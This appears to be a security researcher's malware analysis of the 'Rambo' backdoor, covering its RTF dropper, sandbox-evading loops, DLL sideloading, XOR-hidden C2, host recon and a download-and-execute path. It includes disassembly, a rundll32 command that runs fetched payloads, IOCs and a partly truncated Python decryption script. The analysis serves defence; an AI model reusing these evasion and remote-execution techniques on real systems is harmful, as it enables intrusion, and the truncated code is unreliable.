

# The Rambo Backdoor

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## Summary:

Recent new reporting was released on the DragonOK group which unveiled the many versions of the Sysget backdoor as well as the IsSpace backdoor. One of the samples we looked at

SHA256:e154e62c1936f62aeaf55a41a386dbc293050acec8c4616d16f75395884c9090 contained a family of backdoors that hasn't been referenced in public documents. In this post, we will be pulling apart and dissecting the Rambo backdoor and discussing several of its evasion techniques. This backdoor has several aliases in the community; Sophos calls the embedded components "Brebsd-A" and several others reference the code as simply "Rambo".

## RTF Dropper

The initial dropper for this malware is a malicious RTF file containing many unique shellcode techniques.



Both the api hashing (ROR 7) and the save path section of code are identical. The code is also using the same payload marker of 0xbabababa.

Shellcode hashing routine

```

loc_15A:                                ; CODE XREF: seg000:00000167↓j
movsx  edx, byte ptr [eax]
cmp    dl, dh
jz     short loc_169
ror    ebx, 7
add    ebx, edx
inc    eax
jmp    short loc_15A

```

The save path shellcode that is also unique to the weaponizer used in previous blogs:

```

; CODE XREF: seg000:00000217↓j
inc    eax
cmp    byte ptr [ebx+eax], 0
jnz   short loc_212
mov    dword ptr [ebx+eax], '\\..'
mov    dword ptr [ebx+eax+4], 'xe..'
mov    dword ptr [ebx+eax+8], 'e'

```

And the payload marker searching:

```

; CODE XREF: seg000:00000261↓j
; seg000:0000026C↓j
add    ecx, 1000h
cmp    dword ptr [edx+ecx], 0BABABABAh
jnz   short loc_254
add    edx, 4
cmp    word ptr [edx+ecx], 0BABAh
jnz   short loc_254
lea   edx, [edx+ecx+2]
xor   ebx, ebx
lea   ecx, [edi+3000h]

```

Without diving into all the intricacies of how this shellcode works it will eventually decode a payload and exec it. The parser that PAN provided will also work when extracting the payload from this document.

## Rambo

Quickly after starting up, Rambo proceeds to enter a busy-loop making 2 million small malloc calls and then freeing each allocation. This ties up the malware for a couple minutes in order to throw off AV emulators (which will only emulate so many instructions). This also helps evade most sandboxes. Now that many sandbox systems short-circuit the sleep call, more malware is moving from sleeping to busy loops in order to use up the short time slice that a sandbox can devote to each sample.

```

* 0040110F 68 00 12 7A 00 push 7A1200 Allocate 8M bytes for ptrs to allocations
* 00401114 8B DB mov ebx,ebx
* 00401116 E8 AF 00 00 00 call <dropper.malloc_wrapper>
* 00401118 8B E8 mov ebp,eax
* 0040111D 83 C4 04 add esp,4
* 00401120 33 F6 xor esi,esi
* 00401122 8B FD mov edi,ebp
* 00401124 6A 04 push 4
* 00401126 EB 9F 00 00 00 call <dropper.malloc_wrapper>
* 00401128 83 C4 04 add esp,4
* 0040112E 8D 0C 1E lea ecx,dword ptr ds:[esi+ebx]
* 00401131 89 07 mov dword ptr ds:[edi],eax
* 00401133 46 inc esi
* 00401134 83 C7 04 add edi,4
* 00401137 81 FE 80 84 1E 00 cmp esi,1E8480 2M
* 0040113D 89 08 mov dword ptr ds:[eax],ecx
* 0040113F 7C E3 jnz dropper.401124
* 00401141 8B F5 mov esi,ebp
* 00401143 8B 80 84 1E 00 mov edi,1E8480 2M
* 00401148 8B 16 mov edx,dword ptr ds:[esi]
* 0040114A 52 push edx
* 00401148 E8 6E 00 00 00 call <dropper.free_wrapper>
* 00401150 83 C4 04 add esp,4
* 00401153 83 C6 04 add esi,4
* 00401156 4F dec edi
* 00401157 75 EF jnc dropper.401148
* 00401159 FF 15 90 31 40 00 call dword ptr ds:[<&rand>]
* 0040115F 5F pop edi
* 00401160 5E pop esi
* 00401161 5D pop ebp
* 00401162 5B pop ebx
* 00401163 C3 ret
* 00401164 90 nop
    
```

Rambo contains several different components working in tandem to achieve full execution on the victim machine. The initial binary SHA256: 7571642ec340c4833950bb86d3ded4d4b7c2068347e8125a072c5a062a5d6b68 is a dropper that unpacks the 3 different parts, achieves persistence and starts execution. The dropper is also copied as the method of persistence.

The key HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run\FaultCheck is established at the persistence key with the key value pointing at C:\Users\\AppData\Local\Temp\

Rambo will then fetch its configuration by reading in the last 260 bytes of itself.

```

push 40
push eax
call <rambo.Ordinal353> cfile -> obtain handle to self
lea ecx,dword ptr ss:[esp+64]
mov byte ptr ss:[esp+400],1
call <rambo.Ordinal3318> get_length of file
push 2
push FFFFFFFC -260
lea ecx,dword ptr ss:[esp+6C]
call <rambo.Ordinal5773> seek to filesize - 260 bytes
lea ecx,dword ptr ss:[esp+30]
call <rambo.Ordinal540> c_string
push 104
push 104
lea ecx,dword ptr ss:[esp+38]
mov byte ptr ss:[esp+408],2
call <rambo.Ordinal2919> get_buffer_set_length
push eax
lea ecx,dword ptr ss:[esp+6C]
call <rambo.Ordinal5442> c_file_read
    
```

The key "sdf1popdfjkaweriopasdfnkl" is loaded, which is eventually used to decrypt the buffer using tiny encryption algorithm (TEA).

```

lea edi,dword ptr ss:[esp+EC]
mov esi,rambo.4040A8 get the key "sdf1popdfjkaweriopasdfnkl"
rep stosd dword ptr es:[edi],eax
mov ecx,6
lea edi,dword ptr ss:[esp+D0]
rep movsd dword ptr es:[edi],dword ptr
push 104
lea ecx,dword ptr ss:[esp+34]
movsw word ptr es:[edi],word ptr ds:[es]
call <rambo.Ordinal2915> get_buffer
mov ecx,41 41: 'A'
mov esi,eax move entrypoint of buffer (encrypted data) into esi
lea edi,dword ptr ss:[esp+1F0]
push 1
rep movsd dword ptr es:[edi],dword ptr
    
```

Even though the whole string is referenced as a string, only the first 16 characters are used as the functional key. Perhaps this is a misunderstanding of the author, or an attempt to throw off analysts. The steps of the TEA decryption can be seen below.

<code>mov ecx,C6EF3720</code>	sum constant
<code>jmp rambo.401D4A</code>	
<code>cmp edx,10</code>	
<code>jne rambo.401D42</code>	
<code>mov ecx,E3779B90</code>	
<code>jmp rambo.401D4A</code>	
<code>mov ecx,edx</code>	
<code>imul ecx,ecx,9E3779B9</code>	delta
<code>mov eax,edx</code>	
<code>dec edx</code>	
<code>test eax,eax</code>	
<code>je rambo.401DA3</code>	
<code>inc edx</code>	
<code>mov ebx,dword ptr ss:[esp+24]</code>	
<code>mov ebp,dword ptr ss:[esp+10]</code>	
<code>mov eax,edi</code>	
<code>shr eax,5</code>	shift right
<code>add eax,ebx</code>	
<code>mov ebx,edi</code>	
<code>shl ebx,4</code>	shift left
<code>add ebx,ebp</code>	
<code>mov ebp,dword ptr ss:[esp+18]</code>	
<code>xor eax,ebx</code>	
<code>lea ebx,dword ptr ds:[ecx+edi]</code>	
<code>xor eax,ebx</code>	
<code>mov ebx,dword ptr ss:[esp+14]</code>	
<code>sub esi,eax</code>	
<code>mov eax,esi</code>	
<code>shr eax,5</code>	shift right
<code>add eax,ebx</code>	
<code>mov ebx,esi</code>	
<code>shl ebx,4</code>	shift left
<code>add ebx,ebp</code>	
<code>xor eax,ebx</code>	
<code>lea ebx,dword ptr ds:[ecx+esi]</code>	
<code>xor eax,ebx</code>	
<code>add ecx,61C88647</code>	add rather than subtract
<code>sub edi,eax</code>	
<code>dec edx</code>	

The decryption of the code can be translated to python with the following snippet. (To get the decryption working, we had to make some patches to the opensource PyTea implementation, a modified copy of the script that is used is posted at the end of this blogpost)

```
#!/usr/bin/env python
from ctypes import *
from pprint import pprint
import sys
import tea
import re
import struct

def ascii_strings(data):
    strings = []
    for match in re.finditer(r'[\x20-\x80\n\r\t]{16,64}',data):
        strings.append(match.group():16])
```

```
return strings

def to_c_array(data):
    ''' Converts a string to a list of c_uint32s '''
    c_array = []
    char_array = [hex(ord(char))[2:] for char in data]
    for index in range(0, len(char_array), 4):
        block = char_array[index:index + 4]
        hex_value = '0x' + ''.join(block)
        c_array.append(c_uint32(int(hex_value, 16)))
    return c_array

with open(sys.argv[1], 'rb') as fp:
    data = fp.read()

ciphertext = data[-260:]
padding = len(ciphertext)%8
ciphertext += '\x00'*padding

for key in ascii_strings(data):
    #print 'trying key %s' % (key)
    try:
        plaintext = tea.decrypt(ciphertext, key, verbose=False)
        if ".dll" in plaintext.lower() or ".exe" in plaintext.lower():
            break
    except:
        pass

plaintext = plaintext[:-padding]
print '[*]\tDecrypted with key "%s"\nConfig:' % (key)
config = {}
config['loader'] = {'name': plaintext[:0x20].rstrip('\x00'),
                   'offset': struct.unpack('<L', plaintext[0xc8:0xcc])[0]}
config['sideloader'] = {'name': plaintext[0x20:0x40].rstrip('\x00'),
                       'offset': struct.unpack('<L', plaintext[0xd0:0xd4])[0]}
config['backdoor'] = {'name': plaintext[0x40:0x60].rstrip('\x00'),
                     'offset': struct.unpack('<L', plaintext[0xd8:0xdc])[0]}
config['loader']['length'] = config['sideloader']['offset'] - config['loader']['offset']
config['sideloader']['length'] = config['backdoor']['offset'] - config['sideloader']['offset']
config['backdoor']['length'] = len(data) - config['backdoor']['offset'] - 260
pprint(config)
print

for key, component in config.items():
    with open(component['name'], 'wb') as fp:
        print '[*]\tDropping %s' % (component['name'])
        fp.write(data[component['offset']:component['offset']+component['length']])
```

Running the above script will yield in the following information and drop the 3 components:

```
[*] Decrypted with key "sdfllpopdfjkaweri"
Config:
{'backdoor': {'length': 14336, 'name': 'vmwarebase.dll', 'offset': 37056},
 'loader': {'length': 5120, 'name': 'HeartDll.dll', 'offset': 12800},
 'sideloader': {'length': 19136, 'name': 'vprintproxy.exe', 'offset': 17920}}
[*] Dropping vmwarebase.dll
[*] Dropping vprintproxy.exe
[*] Dropping HeartDll.dll
```

The configuration contains the names of the dropped files and the offsets of each file. Marked up, the configuration will resemble the following.

Hex	ASCII
48 65 61 72 74 44 6C 6C 2E 64 6C 6C 00 00 00 00	HeartDll.dll...
76 70 72 69 6E 74 70 72 6F 78 79 2E 65 78 65 00	vprintproxy.exe
76 6D 77 61 72 65 62 61 73 65 2E 64 6C 6C 00 00	vmwarebase.dll
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 46 00 00 00 00 00 00 C0 90 00 00 00 00 00 00	.F. .2. .A.
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....

Once the configuration is decoded the malware will carve each file out and write them to disk.

Rambo (and the embedded components) make heavy use of stack strings to evade basic triage (ie, strings) from revealing a lot of information.

```

mov al,2D
mov bl,36
mov byte ptr ss:[esp+3D],al
mov byte ptr ss:[esp+42],al
mov byte ptr ss:[esp+47],al
mov byte ptr ss:[esp+4C],al
mov al,30
mov dl,43
mov byte ptr ss:[esp+4F],al
mov byte ptr ss:[esp+55],al
lea eax,dword ptr ss:[esp+34]
mov cl,32
push eax
push 0
push 0
mov byte ptr ss:[esp+40],7B
mov byte ptr ss:[esp+41],bl
mov byte ptr ss:[esp+42],33
mov byte ptr ss:[esp+43],53
mov byte ptr ss:[esp+44],50
mov byte ptr ss:[esp+45],39
mov byte ptr ss:[esp+46],34
mov byte ptr ss:[esp+47],38
mov byte ptr ss:[esp+48],dl
mov byte ptr ss:[esp+4A],dl
mov byte ptr ss:[esp+4B],cl
mov byte ptr ss:[esp+4C],31
mov byte ptr ss:[esp+4D],46
mov byte ptr ss:[esp+4F],cl
mov byte ptr ss:[esp+50],52
mov byte ptr ss:[esp+51],35
mov byte ptr ss:[esp+52],bl
mov byte ptr ss:[esp+54],38
mov byte ptr ss:[esp+55],31
mov byte ptr ss:[esp+56],37
mov byte ptr ss:[esp+57],bl
mov byte ptr ss:[esp+59],cl
mov byte ptr ss:[esp+5A],47
mov byte ptr ss:[esp+5C],41
mov byte ptr ss:[esp+5D],dl
mov byte ptr ss:[esp+5E],35
mov byte ptr ss:[esp+5F],4F
mov byte ptr ss:[esp+60],45
mov byte ptr ss:[esp+62],33
mov byte ptr ss:[esp+63],46
mov byte ptr ss:[esp+64],34
mov byte ptr ss:[esp+65],7D
mov byte ptr ss:[esp+66],0
call dword ptr ds:[<&CreateMutexA>]

```

2D: '-'  
 36: '6'  
 30: '0'  
 43: 'C'  
 32: '2'  
 7B: '{'  
 33: '3'  
 53: 'S'  
 50: 'P'  
 39: '9'  
 34: '4'  
 38: '8'  
 31: '1'  
 46: 'F'  
 52: 'R'  
 35: '5'  
 38: '8'  
 31: '1'  
 37: '7'  
 47: 'G'  
 41: 'A'  
 35: '5'  
 4F: 'O'  
 45: 'E'  
 33: '3'  
 46: 'F'  
 34: '4'  
 7D: '}}'

The mutex is created with the value of {63SP948C-C21F-2R56-8176-2G0AC50E03F4} . Once the mutex is created, WinExec is called starting HeartDll.dll with the DllRegisterServer argument.

```

cmd /c rundll32.exe "C:\\Users\\admin\\AppData\\Local\\Temp\\HeartD11.dll",DllRegisterServer"

```

## HeartDll.dll

HeartDll.dll (SHA256: 11668a0666636b3c40b61986bf132a8ca6ab448fddcaa9e4ed22f6ca7f7b8a50 ) is a small executable (roughly 5k in size). This is responsible to starting vprintproxy (which ultimately sideloads vmwarebase.dll).

Upon initial execution, HeartDll.dll will create a mutex (statically configured) of {53A7Y6CC-C8EF-W089-CN21-220AQCD303F3}

At the startup of HeartDll.dll it'll load 4 different commands into a buffer.

- bsd -1
- bre -1
- esd +2
- ere +2

HeartDll.dll will write “bsd -1” to file 1.txt which will seed a command for the backdoor when it starts executing.

First the dll will locate the current working directory and manually build the string “vprintproxy.exe”

```
mov [ebp+Source], 'v'
mov [ebp+var_23], 'p'
mov [ebp+var_22], 'r'
mov [ebp+var_21], 'i'
mov [ebp+var_20], 'n'
mov [ebp+var_1F], 't'
mov [ebp+var_1E], 'p'
mov [ebp+var_1D], 'r'
mov [ebp+var_1C], 'o'
mov [ebp+var_1B], 'x'
mov [ebp+var_1A], 'y'
mov [ebp+var_19], '.'
mov [ebp+var_18], 'e'
mov [ebp+var_17], 'x'
mov [ebp+var_16], 'e'
mov [ebp+var_15], bl
call strcat
```

Heart will write the contents of 1.txt into a file named 222.txt. Once this is done then heart will call WinExec on vprintproxy.exe which will in turn sideload the malicious vmwarebase.dll.




At this point, it'll enter an infinite loop of sleeping and attempting to read the file 3.txt. Which contains startup information from vmwarebase.dll. It'll loop through the various expect log messages and then exit.

## vprintproxy.exe

This is legit executable that is signed by VMWare that the authors use to sideload vmwarebase.dll

<b>Copyright</b>	Copyright © 1998-2015 VMware, Inc.
<b>Product</b>	VMware Workstation
<b>Original name</b>	vprintproxy.exe
<b>Internal name</b>	vprintproxy
<b>File version</b>	11.1.2 build-2780323
<b>Description</b>	VMware VPrint Proxy
<b>Signature verification</b>	✔ Signed file, verified signature
<b>Signing date</b>	3:09 PM 5/31/2015
<b>Signers</b>	[+] VMware [+] VeriSign Class 3 Code Signing 2010 CA [+] VeriSign
<b>Counter signers</b>	[+] Symantec Time Stamping Services Signer - G4 [+] Symantec Time Stamping Services CA - G2 [+] Thawte Timestamping CA

The imports directly load vmwarebase.dll

	004020CC	ProductState_GetCompilationOption	vmwarebase
	004020D0	Log	vmwarebase
	004020D4	Win32U_RegCreateKeyEx	vmwarebase
	004020D8	Win32U_RegOpenKeyEx	vmwarebase
	004020DC	Err_Errno2String	vmwarebase
	004020E0	Win32U_LoadLibrary	vmwarebase
	004020E4	W32Util_GetInstalledFilePath	vmwarebase
	004020E8	Warning	vmwarebase
	004020EC	W32Util_AsciiStrToWideStr	vmwarebase
	004020F0	Preference_Init	vmwarebase
	004020F4	ProductState_GetBuildNumberString	vmwarebase
	004020F8	ProductState_GetVersion	vmwarebase
	004020FC	ProductState_GetName	vmwarebase
	00402100	Log_SetProductInfo	vmwarebase
	00402104	Log_CfgInterface	vmwarebase
	00402108	Log_InitWithFileSimpleInt	vmwarebase

## vmwarebase.dll

Vmwarebase.dll is loaded up via vprintproxy.exe and contains much of the functionality of this family.

When loading up, it'll decode its configuration via a simple xor loop.

```
cmp dword ptr ss:[esp+8],eax  
jle vmwarebase.10001450  
mov dl,byte ptr ds:[eax+ecx],dl  
xor byte ptr ds:[eax+ecx],dl  
inc eax  
cmp eax,dword ptr ss:[esp+C]  
jl vmwarebase.10001442  
ret
```

In this case the decoded c2 is busserh.mancely.com.

EAX	00000013	
EBX	00000000	
ECX	0034F278	"busserh.mancely.com"
EDX	7F15137B	
EBP	0034F36C	
ESP	0034F03C	
ESI	00000001	
EDI	0000007B	'{'
EIP	10001450	vmwarebase.10001450

During its execution, the malware will use the same loop to decode its port information (443 & 80) and other configuration information.

Once the configuration information is parsed, the malware will load up the same debug messages as HeartDll.dll (bre -1, bsd -1, ere +2, and esd +2), these are used primary as communication between HeartDll.dll

It'll attempt to read 1.txt, and if the information in 1.txt matches "bsd -1", the malware will recon information off the host and send it to the c2 controller.

## Host Recon

In the main reconnaissance function, the malware will grab the system proxy settings from the registry key "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer". By pulling this information, this may ensure a slightly higher success rate of communicating out in a corporate environment. As the case with all these binaries, it makes heavy use of manually building stack strings to evade the simple strings tool.

```
mov     [ebp+var_26], 'I'
mov     [ebp+var_25], 'n'
mov     [ebp+var_24], 't'
mov     [ebp+var_23], 'e'
mov     [ebp+var_22], 'r'
mov     [ebp+var_21], 'n'
mov     [ebp+var_20], 'e'
mov     [ebp+var_1F], 't'
mov     [ebp+var_1E], ' '
mov     [ebp+var_1D], 'S'
mov     [ebp+var_1C], 'e'
mov     [ebp+var_1B], 't'
mov     [ebp+var_1A], 't'
mov     [ebp+var_19], 'i'
mov     [ebp+var_18], 'n'
mov     [ebp+var_17], 'g'
mov     [ebp+var_16], 's'
mov     [ebp+var_15], bl
push    eax                ; lpSubKey
push    80000001h         ; hKey
call    ds:RegOpenKeyExA
```

Rambo will continue to gather the hostname and IP of the system. Gather a list of processes (with a PID of greater than 10) by calling CreateToolhelp32Snapshot. It'll also grab the Windows version and CPU arch.

Prior to encryption, the contents of the buffer before it's sent out to the C2 contains the following information:

```
10.152.X.X|##HOSTNAME##d##OPOP<*<smss.exe>>csrss.exe>>wininit.exe>>csrss.exe>>winlogon.exe>>services.exe>>lsass.e
```

## C2 communications

The data that is harvested from the host is sent to the C2 controller and encrypted using an AES key of `\x12\x44\x56\x38\x55\x82\x56\x85\x23\x25\x56\x45\x52\x47\x45\x86`. In ascii, (while not all characters are printable), the string will be `"\x12DV8U\x82V\x85#%VERGE\x86"`.

Once the function is finished, it'll write "esd +2" to the file 222.txt.

## Download and Execute

If the file 1.txt contains the command "bre -1" the malware will continue down a different path of execution.

The malware will generate a random filename (8 characters long), by using a lookup table. It'll generate indexes into the string "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" and simply concat them together.

The proxy settings are read again and a simple connect is performed. If the connect succeeds "ok" is sent.

The recv call is performed and a file is downloaded, written to the temporary file name and exec'd using the following hardcoded command.

```
cmd.exe /c rundll32.exe <filename>,FSSync_ScreeActive
```

```
mov     [ebp+var_47], 'm'
mov     [ebp+var_46], 'd'
mov     [ebp+var_45], ' '
mov     [ebp+var_44], '/'
mov     [ebp+var_43], 'c'
mov     [ebp+var_42], ' '
mov     [ebp+var_41], 'r'
mov     [ebp+var_40], 'u'
mov     [ebp+var_3F], 'n'
mov     [ebp+var_3E], 'd'
mov     [ebp+var_3D], 'l'
mov     [ebp+var_3C], 'l'
mov     [ebp+var_3B], '3'
mov     [ebp+var_3A], '2'
mov     [ebp+var_39], '.'
mov     [ebp+var_38], 'e'
mov     [ebp+var_37], 'x'
mov     [ebp+var_36], 'e'
mov     [ebp+var_35], ' '
mov     [ebp+var_34], '"'
mov     [ebp+var_33], bl
call    strcpy
push   [ebp+Filename] ; Source
lea    eax, [ebp+CmdLine]
push   eax           ; Dest
call    strcat
lea    eax, [ebp+var_30]
mov    [ebp+var_30], ""
push   eax           ; Source
lea    eax, [ebp+CmdLine]
push   eax           ; Dest
mov    [ebp+var_2F], ','
mov    [ebp+var_2E], 'F'
mov    [ebp+var_2D], 'S'
mov    [ebp+var_2C], 'S'
mov    [ebp+var_2B], 'y'
mov    [ebp+var_2A], 'n'
mov    [ebp+var_29], 'c'
mov    [ebp+var_28], '_'
mov    [ebp+var_27], 'S'
mov    [ebp+var_26], 'c'
mov    [ebp+var_25], 'r'
mov    [ebp+var_24], 'e'
mov    [ebp+var_23], 'e'
mov    [ebp+var_22], 'A'
mov    [ebp+var_21], 'c'
mov    [ebp+var_20], 't'
mov    [ebp+var_1F], 'i'
```

```
mov [ebp+var_1E], 'v'
mov [ebp+var_1D], 'e'
```

During the course of research, we didn't identify the secondary file that is pushed to the host, although some information can be gained from static analysis. The file would need to be PE DLL with an exported function of FSSync\_ScreeActive. This is most likely the function in which the authors will load a more robust stage 2 backdoor.

When the command is completed, "ere +2" is written to 222.txt

## Summary

Rambo is a unique backdoor with features that are the result of some odd design decisions. In the initial dropper the configuration containing offsets and filenames are encoded with TEA, however the binaries are not encoded at all. It uses AES to encode the host information that is sent out over the network, however the C2 is hidden with a single byte XOR. While they may not make much sense to a reverse engineer, it gives some idea to the information that the author doesn't want to be easily recovered. By writing commands to temporary files and trying to communicate between multiple processes, the authors turn a simple stage 1 implant into something that is confusing and more difficult to study.

Mature security programs research edge cases and newly discovered code in order to understand tools, tactics and procedures of successful advanced groups that will inevitably become more common in the future.

Indicators of Compromise:

Indicator	Type	Description
busserh.mancely.com	Domain	Command and Control
gosuper@excite.co.jp	Email Address	Registrant of busserh.mancely.com
108.61.117.31	IP	Resolution of busserh.mancely.com
C:\Users<user>\AppData\Local\Temp\HeartDll.dll	Filename	
C:\Users<user>\AppData\Local\Temp\vprintproxy.exe	Filename	
C:\Users<user>\AppData\Local\Temp\vmwarebase.dll	Filename	
C:\Users<user>\AppData\Local\Temp\222.txt	Filename	
C:\Users<user>\AppData\Local\Temp\3.txt	Filename	
e154e62c1936f62aeaf55a41a386dbc293050acec8c4616d16f75395884c9090	Hash	RTF Dropper
7571642ec340c4833950bb86d3ded4d4b7c2068347e8125a072c5a062a5d6b68	Hash	Main Dropper

Indicator	Type	Description
5bfcd2cc01a5b930fc704a695f0fe38f1bca8bdfafd8b7d931a37428b5e86f35	Hash	Hash of vmwarebase.dll
76405617acc7fa6c51882fe49d9b059900c10fc077840df9f6a604bf4fab85ba	Hash	Hash of vprintproxy.exe (legit executable)
11668a0666636b3c40b61986bf132a8ca6ab448fddcaa9e4ed22f6ca7f7b8a50	Hash	Hash of HeartDll.dll

## Additional Notes

In the symbol table for Rambo (vmwarebase.dll) it appears that the authors left in the original compiled name of the executable (FirstBlood.tmp) which accounts for the naming convention.

```
Export directory for FirstBlood.tmp
dd 0 ; Characteristics
dd 57FC3359h ; TimeDateStamp: Tue Oct 11 00:33:29 2016
dw 0 ; MajorVersion
dw 0 ; MinorVersion
dd rva aFirstblood_tmp ; Name
dd 1 ; Base
dd 10h ; NumberOfFunctions
dd 10h ; NumberOfNames
dd rva off_10004658 ; AddressOfFunctions
dd rva off_10004698 ; AddressOfNames
dd rva word_100046D8 ; AddressOfNameOrdinals
```

The functions that contain the name are the functions that were overwritten from the legit vmwarebase.dll as to not break the functionality of vprintproxy.exe.

```
vaddr=0x10001431 paddr=0x00000831 ord=000 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Err_Errno2Strin
vaddr=0x10001431 paddr=0x00000831 ord=001 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Log
vaddr=0x10001431 paddr=0x00000831 ord=002 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Log_CfgInterface
vaddr=0x10001431 paddr=0x00000831 ord=003 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Log_InitWithFile
vaddr=0x10001431 paddr=0x00000831 ord=004 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Log_SetProductIn
vaddr=0x10001431 paddr=0x00000831 ord=005 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Preference_Init
vaddr=0x10001431 paddr=0x00000831 ord=006 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_ProductState_Get
vaddr=0x10001431 paddr=0x00000831 ord=007 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_ProductState_Get
vaddr=0x10001431 paddr=0x00000831 ord=008 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_ProductState_Get
vaddr=0x10001431 paddr=0x00000831 ord=009 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_ProductState_Get
vaddr=0x10001431 paddr=0x00000831 ord=010 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_W32Util_AsciiStr
vaddr=0x10001431 paddr=0x00000831 ord=011 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_W32Util_GetInsta
vaddr=0x10001431 paddr=0x00000831 ord=012 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Warning
vaddr=0x10001431 paddr=0x00000831 ord=013 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Win32U_LoadLibra
vaddr=0x10001431 paddr=0x00000831 ord=014 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Win32U_RegCreate
vaddr=0x10001431 paddr=0x00000831 ord=015 fwd=NONE sz=0 bind=GLOBAL type=FUNC name=FirstBlood.tmp_Win32U_RegOpenKe
```

## Modified PyTEA

```
#!/usr/bin/env python

#####
# Python implementation of the Tiny Encryption Algorithm (TEA)
# By Moloch
#
# About: TEA has a few weaknesses. Most notably, it suffers from
#       equivalent keys each key is equivalent to three others,
#       which means that the effective key size is only 126 bits.
#       As a result, TEA is especially bad as a cryptographic hash
#       function. This weakness led to a method for hacking Microsoft's
#       Xbox game console (where I first encountered it), where the
#       cipher was used as a hash function. TEA is also susceptible
#       to a related-key attack which requires 2^23 chosen plaintexts
#       under a related-key pair, with 2^32 time complexity.
#
#       Block size: 64bits
#       Key size: 128bits
#
#####

import os
import getpass
import platform
import struct
from random import choice
from hashlib import sha256
from ctypes import c_uint32
from string import ascii_letters, digits

if platform.system().lower() in ['linux', 'darwin']:
    INFO = "\033[1m\033[36m[*]\033[0m "
    WARN = "\033[1m\033[31m[!]\033[0m "
else:
    INFO = "[*] "
    WARN = "[!] "

### Magical Constants
DELTA = 0x9e3779b9
SUMATION = 0xc6ef3720
ROUNDS = 32
BLOCK_SIZE = 2 # number of 32-bit ints
KEY_SIZE = 4

### Functions ###
```

```
def encrypt_block(block, key, verbose=False):
    """
    Encrypt a single 64-bit block using a given key
    @param block: list of two c_uint32s
    @param key: list of four c_uint32s
    """
    assert len(block) == BLOCK_SIZE
    assert len(key) == KEY_SIZE
    summation = c_uint32(0)
    delta = c_uint32(DELTA)
    for index in range(0, ROUNDS):
        summation.value += delta.value
        block[0].value += ((block[1].value << 4) + key[0].value) ^ (block[1].value + summation.value) ^ ((block[1].
        block[1].value += ((block[0].value << 4) + key[2].value) ^ (block[0].value + summation.value) ^ ((block[0].
        if verbose: print("\t--> Encrypting block round %d of %d" % (index + 1, ROUNDS))
    return block

def decrypt_block(block, key, verbose=False):
    """
    Decrypt a single 64-bit block using a given key
    @param block: list of two c_uint32s
    @param key: list of four c_uint32s
    """
    assert len(block) == BLOCK_SIZE
    assert len(key) == KEY_SIZE
    summation = c_uint32(SUMATION)
    delta = c_uint32(DELTA)
    for index in range(0, ROUNDS):
        block[1].value -= ((block[0].value << 4) + key[2].value) ^ (block[0].value + summation.value) ^ ((block[0].
        block[0].value -= ((block[1].value << 4) + key[0].value) ^ (block[1].value + summation.value) ^ ((block[1].
        summation.value -= delta.value
        if verbose: print("\t<-- Decrypting block round %d of %d" % (index + 1, ROUNDS))
    return block

def to_c_array(data):
    """ Converts a string to a list of c_uint32s """
    c_array = []
    for index in range(0, len(data)/4):
        chunk = data[index*4:index*4+4]
        packed = struct.unpack(">L", chunk)[0]
        c_array.append(c_uint32(packed))
    return c_array

def to_string(c_array):
    """ Converts a list of c_uint32s to a Python (ascii) string """
    output = ''
    for block in c_array:
        output += struct.pack(">L", block.value)
```

```
return output

def random_chars(nchars):
    chars = ''
    for n in range(0, nchars):
        chars += choice(ascii_letters + digits)
    return chars

def add_padding(data, verbose=False):
    pad_delta = 4 - (len(data) % 4)
    if verbose:
        print(INFO + "Padding delta: %d" % pad_delta)
    data += random_chars(pad_delta)
    data += "%s%d" % (random_chars(3), pad_delta)
    return data

def encrypt(data, key, verbose=False):
    '''
    Encrypt string using TEA algorithm with a given key
    '''
    data = add_padding(data, verbose)
    data = to_c_array(data)
    key = to_c_array(key.encode('ascii', 'ignore'))
    cipher_text = []
    for index in range(0, len(data), 2):
        if verbose:
            print(INFO + "Encrypting block %d" % index)
        block = data[index:index + 2]
        block = encrypt_block(block, key, verbose)
        for uint in block:
            cipher_text.append(uint)
    if verbose:
        print(INFO + "Encryption completed successfully")
    return to_string(cipher_text)

def decrypt(data, key, verbose=False):
    data = to_c_array(data)
    key = to_c_array(key.encode('ascii', 'ignore'))
    plain_text = []
    for index in range(0, len(data), 2):
        if verbose:
            print(INFO + "Encrypting block %d" % index)
        block = data[index:index + 2]
        decrypted_block = decrypt_block(block, key, verbose)
        for uint in decrypted_block:
            plain_text.append(uint)
    data = to_string(plain_text)
    if verbose:
```

```
        print(INFO + "Decryption completed successfully")
    return data

def get_key(password=''):
    ''' Generate a key based on user password '''
    if 0 == len(password):
        password = getpass.getpass(INFO + "Password: ")
    sha = sha256()
    sha.update(password + "Magic Static Salt")
    sha.update(sha.hexdigest())
